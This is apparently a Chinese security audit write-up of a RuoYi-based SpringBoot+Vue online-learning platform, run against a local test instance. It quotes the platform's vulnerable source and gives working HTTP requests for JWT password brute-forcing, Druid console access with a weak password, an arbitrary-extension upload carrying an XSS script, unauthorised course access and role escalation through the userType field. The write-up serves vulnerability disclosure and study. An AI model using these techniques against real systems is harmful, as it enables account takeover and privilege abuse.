SpringBoot+Vue在线教育(在线学习)系统代码审计
针对25年较新的一套SpringBoot+Vue在线教育(在线学习)系统进行代码审计
这是25年的一个基于若依二开的闭源新项目,且组件库都较新。
环境搭建
1.后端采用springboot+mysql+redis,我们修改一下数据库账号密码,导入一下表,开启mysql和redis即可:


2.前端是vue2写的,有两部分:learn_front-master和learn_front_mange-master,分别对应前台和管理后台。
由于是vue2,因此采用npm run serve启动:


鉴权分析
1.在learn_server-master/ape-framework/src/main/java/com/ape/apeframework/config中,我们发现了大量的配置,其中ShiroConfig和JwtToken也直接说明了该项目采用shiro+jwt的模式进行鉴权。

2.可以看到,这里放行了注册登录界面,以及一些需要调用的静态资源接口,如学校名称列表,用户头像等等。
除此之外,其它的路由都需要通过jwt进行验证。

3.跟进JwtFilter函数,
@SneakyThrows
@Override
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
HttpServletResponse httpServletResponse = (HttpServletResponse)response;
try {
executeLogin(request, response);
} catch (IncorrectCredentialsException e) {
JSONObject json = new JSONObject();
json.put("code",1011);
json.put("message",e.getMessage());
json.put("timeStamp",System.currentTimeMillis());
RequestUtils.returnJson(httpServletResponse,json.toJSONString());
return false;
} catch (LockedAccountException e) {
JSONObject json = new JSONObject();
json.put("code",1009);
json.put("message",e.getMessage());
json.put("timeStamp",System.currentTimeMillis());
RequestUtils.returnJson(httpServletResponse,json.toJSONString());
return false;
} catch (UnknownAccountException e) {
JSONObject json = new JSONObject();
json.put("code",1008);
json.put("message",e.getMessage());
json.put("timeStamp",System.currentTimeMillis());
RequestUtils.returnJson(httpServletResponse,json.toJSONString());
return false;
} catch (AuthenticationException e) {
JSONObject json = new JSONObject();
json.put("code",1006);
json.put("message",e.getMessage());
json.put("timeStamp",System.currentTimeMillis());
RequestUtils.returnJson(httpServletResponse,json.toJSONString());
return false;
}
return true;
}
@Override
protected boolean executeLogin(ServletRequest request, ServletResponse response) {
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
String token = JwtUtil.getTokenByRequest(httpServletRequest);
JwtToken jwtToken = new JwtToken(token);
// 提交给realm进行登入,如果错误他会抛出异常并被捕获
getSubject(request, response).login(jwtToken);
// 如果没有抛出异常则代表登入成功,返回true
return true;
}可以看到,想要通过jwt验证,就必须让executeLogin函数返回true。
重点在于getSubject(request, response).login(jwtToken);这个是shiro的特定代码,用于提交给realm进行验证。
4.我们跟进ShiroRealm类:


很清晰的逻辑,都是来判断JwtToken是否合法的。
漏洞挖掘
基于jwt的密码爆破
1.就在刚刚ShiroRealm的代码中,可以看到,JwtUtil签名的关键语句:
JwtUtil.sign(userId, password);2.跟进JwtUtil.sign函数:
public static String sign(String userId, String userPhone) {
Algorithm algorithm = Algorithm.HMAC256(userPhone);
// 附带userId信息 可以将user信息转成map存到这里
//String token = JWT.create().withClaim("userId", userId).withExpiresAt(date).sign(algorithm);
String token = JWT.create().withClaim("userId", userId).sign(algorithm);
stringRedisTemplate.opsForValue().set(Constants.PREFIX_USER_TOKEN + userId, token, days, TimeUnit.DAYS);
return token;
}可以发现,jwt是通过加密userId和password获得的,我们只需要获得userId,然后根据代码中写好的算法加密,爆破password即可,且这种爆破极难进行侦察,并不是在登录框进行的爆破,而是通过改变JwtToken访问正常页面进行的。
3.因此,我们需要去获得userId。很巧的是,我们在教师列表中,点进去查看每个教师,就可以获得每个教师的userId:


4.至此,我们可以成功在几乎无感的情况下爆破所有老师的密码。
druid越权访问+弱口令
1.正常访问druid的登录界面,会提示没有token,无法访问:

2.我们可以先通过register路由注册一个用户进行登录获取token:


3.我们携带token进行访问:

4.问题在于这是我们注册的一个普通用户,按道理来说应该无法访问druid界面,因此此处为一个越权。
5.翻开配置文件application-dev.yml,发现druid为弱口令,我们可以通过弱口令登录druid后台:

前台任意文件后缀上传
1.全局搜索upload,找到了文件上传所在控制器CommonController:
@Controller
@ResponseBody
@RequestMapping("common")
public class CommonController {
/**
* @description: 错误转发地址
* @param: code
msg
* @return:
* @author xxxx
* @date: 2025/9/14 15:05
*/
@GetMapping("/error/{code}/{msg}")
public Result error (@PathVariable("code")Integer code, @PathVariable("msg") String msg){
return Result.alert(code,msg);
}
/**
* @description: 上传图片
* @param: file
* @return:
* @author xxxx
* @date: 2025/10/13 10:44
*/
@PostMapping("uploadImg")
public Result uploadImg(@RequestParam("file") MultipartFile img) {
if(img.isEmpty()){
return Result.fail("上传的图片不能为空!");
}
String coverType = img.getOriginalFilename().substring(img.getOriginalFilename().lastIndexOf(".") + 1).toLowerCase();
if ("jpeg".equals(coverType) || "gif".equals(coverType) || "png".equals(coverType) || "bmp".equals(coverType) || "jpg".equals(coverType)) {
//文件名=当前时间到毫秒+原来的文件名
int index = img.getOriginalFilename().lastIndexOf(".");
String substring = img.getOriginalFilename().substring(index);
String fileName = System.currentTimeMillis() + substring;
//文件路径
String filePath = System.getProperty("user.dir")+System.getProperty("file.separator")+"img";
//如果文件路径不存在,新增该路径
File file1 = new File(filePath);
if(!file1.exists()){
boolean mkdir = file1.mkdir();
}
//实际的文件地址
File dest = new File(filePath + System.getProperty("file.separator") + fileName);
//存储到数据库里的相对文件地址
String storeImgPath = "/img/"+fileName;
try {
img.transferTo(dest);
return Result.success(storeImgPath);
} catch (IOException e) {
return Result.fail("上传失败");
}
} else {
return Result.fail("请选择正确的图片格式");
}
}
/**
* @description: 上传视频
* @param: file
* @return:
* @author xxxx
* @date: 2025/10/13 10:44
*/
@PostMapping("uploadVideo")
public Result uploadVideo(@RequestParam("file") MultipartFile file) {
if(file.isEmpty()){
return Result.fail("上传的视频不能为空!");
}
//文件名=当前时间到毫秒+原来的文件名
int index = file.getOriginalFilename().lastIndexOf(".");
String substring = file.getOriginalFilename().substring(index);
String fileName = System.currentTimeMillis() + substring;
//文件路径
String filePath = System.getProperty("user.dir")+System.getProperty("file.separator")+"video";
//如果文件路径不存在,新增该路径
File file1 = new File(filePath);
if(!file1.exists()){
boolean mkdir = file1.mkdir();
}
//实际的文件地址
File dest = new File(filePath + System.getProperty("file.separator") + fileName);
//存储到数据库里的相对文件地址
String storeVideoPath = "/video/"+fileName;
try {
file.transferTo(dest);
Result success = Result.success(storeVideoPath);
success.setData(fileName);
return success;
} catch (IOException e) {
return Result.fail("上传失败");
}
}
/**
* @description: 上传文件
* @param: file
* @return:
* @author xxxx
* @date: 2025/10/13 10:44
*/
@PostMapping("uploadFile")
public Result uploadFile(@RequestParam("file") MultipartFile file) {
if(file.isEmpty()){
return Result.fail("上传的文件不能为空!");
}
//文件名=当前时间到毫秒+原来的文件名
int index = file.getOriginalFilename().lastIndexOf(".");
String substring = file.getOriginalFilename().substring(index);
String fileName = System.currentTimeMillis() + substring;
//文件路径
String filePath = System.getProperty("user.dir")+System.getProperty("file.separator")+"file";
//如果文件路径不存在,新增该路径
File file1 = new File(filePath);
if(!file1.exists()){
boolean mkdir = file1.mkdir();
}
//实际的文件地址
File dest = new File(filePath + System.getProperty("file.separator") + fileName);
//存储到数据库里的相对文件地址
String storeFilePath = "/file/"+fileName;
try {
file.transferTo(dest);
Result success = Result.success(storeFilePath);
success.setData(fileName);
return success;
} catch (IOException e) {
return Result.fail("上传失败");
}
}
}2.可以看到只有uploadImg路由对文件后缀进行了白名单限制,uploadVideo路由和uploadFile路由都可以上传任意后缀,我们以uploadFile路由为例,构造文件上传的数据包:
POST /common/uploadFile HTTP/1.1
Host: localhost:8080
Content-Length: 215
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryocKiwfXZaEBN6BcL
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:3001
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryocKiwfXZaEBN6BcL
Content-Disposition: form-data; name="file"; filename="xss.html"
Content-Type: image/svg+xml
<script>alert(1)</script>
------WebKitFormBoundaryocKiwfXZaEBN6BcL--
3.我们访问得到的文件路径,成功前台xss:

4.由于这里上传文件的目录为静态文件目录,而spring框架中自带的file.getOriginalFilename()方法会进行路径的规范化处理,导致我们无法通过../进行目录穿越,因此虽然能够上传jsp/jspx文件,但是无法解析,只能下载:


未授权访问
1.首先进入某一个课程界面,进行报名,可以看到,如果教师未通过是无法访问课程内容的:(test3用户)


2.我们通过教师账号在后台通过后,是可以查看章节内容的:(test2用户)

3.此时,我们直接将test2用户的链接拿去给test3用户使用,发现也是可以访问到章节内容的:

这就造成了未授权访问教师未允许观看的课程。
4.抓包进行验证,发现了调用了/task/getApeTaskById路由:

5.我们在idea中全局搜索getApeTaskById,发现没用进行任何验证,直接返回了课程内容:

6.该Controller的其他路由也没有进行验证,如未授权进行评论:
正常情况下是无法进行评论的:

但是我们只需要抓到test2用户评论的数据包,再替换为test3用户的token进行重放即可未授权评论:


垂直越权
1.漏洞点出现在修改个人信息的地方,如图,点击保存进行抓包:

数据包如下:
POST /user/setUserInfo HTTP/1.1
Host: localhost:8080
Content-Length: 730
sec-ch-ua-platform: "Windows"
x_access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIyMDIyNDg1OTU0NTQ3MTU5MDQxIn0.picyKc7czzyDbFuORlyJO9qxLqvoTb1M7wTydfDG5S8
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://127.0.0.1:3001
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"createBy":null,"createTime":"2026-02-14 01:40:02","updateBy":"test2","updateTime":"2026-02-14 08:23:07","id":"2022485954547159041","postId":null,"idArrary":null,"deptId":null,"userName":"test2","loginAccount":"test2","userType":0,"email":"test@qq.com","tel":"13800000001","sex":"0","avatar":"/img/avatar.jpg","password":"c30f2e1e21e149879f407790dc06918f","salt":"65be739926e055b3fcb66c36d68b1d6c","status":0,"loginIp":null,"loginDate":null,"pwdUpdateDate":"2026-02-14 01:40:02","school":"山东大学","country":null,"major":"软件工程","agree":null,"age":null,"birth":null,"flair":null,"address":null,"workDate":null,"delFlag":0,"remark":null,"deptName":null,"pageNumber":null,"pageSize":null,"roleIds":null,"_t":1771059688}
2.我们在idea中全局搜索setUserInfo:

哇,这里依旧没有做任何鉴权,我们可以修改ApeUser实体的任何字段:
@Data
@EqualsAndHashCode(callSuper = true)
@AllArgsConstructor
@NoArgsConstructor
@Accessors(chain = true)
@TableName("ape_user")
public class ApeUser extends BaseEntity {
private static final long serialVersionUID = 1L;
@TableId(value = "id", type = IdType.ASSIGN_ID)
private String id;
/**
* 部门数组
*/
private String postId;
/**
* 部门数组
*/
private String idArrary;
/**
* 部门id
*/
private String deptId;
/**
* 用户名
*/
private String userName;
/**
* 登陆账号
*/
private String loginAccount;
/**
* 用户类型
*/
private Integer userType;
/**
* 邮箱
*/
private String email;
/**
* 电话
*/
private String tel;
/**
* 性别
*/
private Integer sex;
/**
* 头像
*/
private String avatar;
/**
* 密码
*/
private String password;
/**
* 盐
*/
private String salt;
/**
* 状态
*/
private Integer status;
/**
* ip
*/
private String loginIp;
/**
* 登陆日期
*/
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
private Date loginDate;
/**
* 修改密码日期
*/
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
@DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
private Date pwdUpdateDate;
/**
* 学校
*/
private String school;
/**
* 国家
*/
private String country;
/**
* 专业
*/
private String major;
/**
* 职称
*/
private String agree;
/**
* 年龄
*/
private Integer age;
/**
* 年龄
*/
@JsonFormat(pattern = "yyyy-MM-dd")
@DateTimeFormat(pattern = "yyyy-MM-dd")
private Date birth;
/**
* 资质
*/
private String flair;
/**
* 地址
*/
private String address;
/**
* 参加工作时间
*/
private Integer workDate;
/**
* 删除标志
*/
@TableLogic
private Integer delFlag;
private String remark;
@TableField(exist = false)
private String deptName;
@TableField(exist = false)
private Integer pageNumber;
@TableField(exist = false)
private Integer pageSize;
@TableField(exist = false)
private List<String> roleIds;
}3.这里最重要的莫过于private Integer userType; 这个字段,我们通过查看数据库可知,userType=0代表管理员,userType=1代表教师,userType=2代表学生。

4.然后,我们竟然可以在请求数据包中自己修改userType,那么我们直接修改为1,岂不就成为了教师:

POST /user/setUserInfo HTTP/1.1
Host: localhost:8080
Content-Length: 730
sec-ch-ua-platform: "Windows"
x_access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIyMDIyNDg1OTU0NTQ3MTU5MDQxIn0.picyKc7czzyDbFuORlyJO9qxLqvoTb1M7wTydfDG5S8
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://127.0.0.1:3001
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
{"createBy":null,"createTime":"2026-02-14 01:40:02","updateBy":"test2","updateTime":"2026-02-14 08:23:07","id":"2022485954547159041","postId":null,"idArrary":null,"deptId":null,"userName":"test2","loginAccount":"test2","userType":1,"email":"test@qq.com","tel":"13800000001","sex":"0","avatar":"/img/avatar.jpg","password":"c30f2e1e21e149879f407790dc06918f","salt":"65be739926e055b3fcb66c36d68b1d6c","status":0,"loginIp":null,"loginDate":null,"pwdUpdateDate":"2026-02-14 01:40:02","school":"山东大学","country":null,"major":"软件工程","agree":null,"age":null,"birth":null,"flair":null,"address":null,"workDate":null,"delFlag":0,"remark":null,"deptName":null,"pageNumber":null,"pageSize":null,"roleIds":null,"_t":1771059688}也是成功作为教师挂在了主页上:

该若依二开项目存在JWT密码爆破、Druid弱口令+越权、前台任意文件上传、课程未授权访问及userType垂直越权等高危漏洞。
由 AI 根据全文自动生成,仅供参考,以原文为准